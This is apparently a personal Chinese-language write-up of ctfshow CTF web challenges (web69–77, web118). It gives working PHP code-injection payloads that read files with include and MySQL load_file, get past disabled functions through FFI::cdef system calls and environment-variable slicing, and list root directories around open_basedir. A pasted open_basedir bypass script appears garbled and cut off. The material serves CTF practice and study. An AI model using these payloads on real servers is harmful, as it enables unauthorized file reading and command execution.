- web69-70
- web71
- web72
- web73-74
- web75-76
- web77
- web118
这一组题肝的很辛苦
web69-70解答:根据反馈的错误可知highlight_file()被禁用,尝试之前的payload,var_dump被过滤。 c=var_export(scandir("/"));
c=include("/flag.txt");
解答:题目中给了index.php源码。 输出的所有的字母数字都会被打码(变成问号)
根据index.php源码,可以看到输出结果的字母和数字都被修改。 ob_get_contents()
:得到缓冲区的数据 ob_end_clean()
:会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容 那我们终止一下,让后面的匹配缓冲区不执行直接退出。
#payload:
c=var_export(scandir("/"));exit();
c=include("/flag.txt");exit();
# ob_end();结尾也可以终止
web72
解答:给源码了。 web71的payload不能使用。
不能访问/
,访问路径被限制了,只能允许访问的是/var/www/html/。 也就是说,本题设置了open_basedir,将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir不能用ini_set重新设置绕过。 (附上一个用ini_set绕过open_basedir的脚本地址,本题不可用)
那看一下当前目录下有什么,发现了flag.php文件,这个flag.php没有任何实质的内容。题目的思路估计就是让直接去看根目录,确定flag的文件。
后续的做法,主要就是看wp提供的poc了。
题中给的hint中,提供了第一步的payload,就是获取flag存放的文件名。 c=?>
这里,细看一下payload这部分php代码的内容。
结尾来结束语句,但是eval里的?>不会闭合当前的php文件,所以当前php页面后续的语句都是会执行的。
可以看一下下面的图片,eval里的语句可以修改文件的变量值,但是
?>
并不会闭合外面的PHP语句。接下来是ctfshow 提供的这道题的poc(一个绕过安全目录的脚本):说是利用了 php的垃圾回收,代码啃了一部分后面实在啃不动了,涉及到偏移地址之类的,那些数值不知道具体指向。(以后再研究吧)
这个脚本一般情况过下应该是可以直接使用,要求被攻击服务器必须是类unix系统,没有什么容易被过滤的函数,可能会被过滤的strlen()在脚本中也只是起到判断作用,可以调整修改的。
a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address = 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 a);
,我并不知道这个函数结束之后,到底带来了什么影响。或许可以在linux上搭建环境,加断点调试一下,但是这段时间主要以刷题为主,所以等以后再研究吧。好了,以上就是我啃不动的全部过程,太惨了。。。。
web73-74解答:第一步的payload可以用web72的那个glob协议获取flag文件的位置。
web75-76c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
web73也可以使用web71的
c=var_export(scandir("/"));exit(0);
,但是web74就不可以了,因为scandir被限制了。web73flag在根目录flagc.txt,获取flag:
c=include("/flagc.txt");exit();
web74flag在根目录flagx.txt,获取flag:
c=include("/flagx.txt");exit();
解答:还是利用上面payload,获取flag位置。flag在/flag36.txt里。web76是flag36d.txt。
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
本题设置了open_basedir,不能直接include包含了。 这里web72的安全目录绕过是不行了,估计是
$abc
获取到的值是长串A,原因我也不知道,如果能顺通那段脚本的原理,大概也就知道为什么这个不行了。wp给的poc,可以直接获取flag。
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
接下来,具体分析一下这里面的语句。这里面最关键的问题在于数据库名字的怎么来的,用户名是固定的root,密码我们也可以勉强猜测是root。
PDO 为PHP访问数据库定义了一个轻量级的一致接口,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
new PDO($dsn, $user, $pass);
try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root'); # 在MySQL中,load_file(完整路径)函数读取一个文件并将其内容作为字符串返回。 foreach($dbh->query('select load_file("/flag36.txt")') as $row) { echo($row[0])."|"; } $dbh = null; }catch (PDOException $e) { echo $e->getMessage();exit(0); } exit(0);
翻了半天的wp,没有一个提供数据库名字怎么获取的,然后我又搞了一上午,找前面的试题进入,查看配置文件也没有相关信息,之后又用蚁剑连接,终于让我找到了能连接数据库的,简直了!!!打开web58,蚁剑连接。
(吐槽:真的,这个题的数据库名字找的太费劲了,我一度打算放弃。前面尝试了几个试题,因为限制太多,蚁剑就算连接了,也不能执行命令,更不用说连接数据库了。)
右击url,选择数据操作。配置列表–添加
配置数据库,数据库类型是mysqli。连接成功,出现了ctftraining。(数据库名称,看上面那个图)
太难了,真的太难了。。。=_=!!!
web77解答:还是利用上面payload,获取flag位置。flag在/flag36x.txt里。同时根目录下还有readflag,看来需要调用readflag获取flag。
直接看题中的wp吧,前面的方式都已经进不去了,提供了一个适用于php7.4以上的payload:(这个方式成功绕过了对system函数的限制)
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
PHP7.4中FFI的介绍(代码示例) FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 $a='/readflag > 1.txt';//没有回显,所以将内容输出到1.txt $ffi->system($a);//通过$ffi去调用system函数
访问1.txt获取flag。
web118解答:输入信息,提示“evil input”非法输入。 输入A,不提示非法输入,输入a提示。那么是有过滤的字符,fuzz查看一下哪些字符可以用。burp抓包intruder爆破一下。
设置一下payload,%00–%ff,下面为了看着方便,我把payload处理了一下,url解码了。
如果返回的结果出现很多503,可以调整一下线程时间和间隔。fuzz后,可以使用的是大写字母A-Z和#$+.:;?@_{}~,还有一堆特殊字符,就不再写上来了。
大写是可以用的,所以可以用环境变量构造命令执行。
PATH:在执行命令时,系统会按照PATH的设置,去每个PATH定义的路径下搜索执行文件,先搜索到的文件先执行。 PWD:查看”当前工作目录“的完整路径。
下面打印一下这些变量,看一下输出的内容。PATH变量输出的内容,最后的字母是n。
${PATH:起始位置:长度}
![]()
所以
{PATH:~A}
可以获取字符n
。我们知道网站根目录是/var/www/html,所以这就是当前页面所在位置,它的最后是字符
l
,可以用{PWD:~A}
获取。题目告知了flag in flag.php,可以利用问号
?
(问号可以匹配任意一个字符)去匹配flag.php。 最后的payload:${PATH:~A}${PWD:~A} ????.???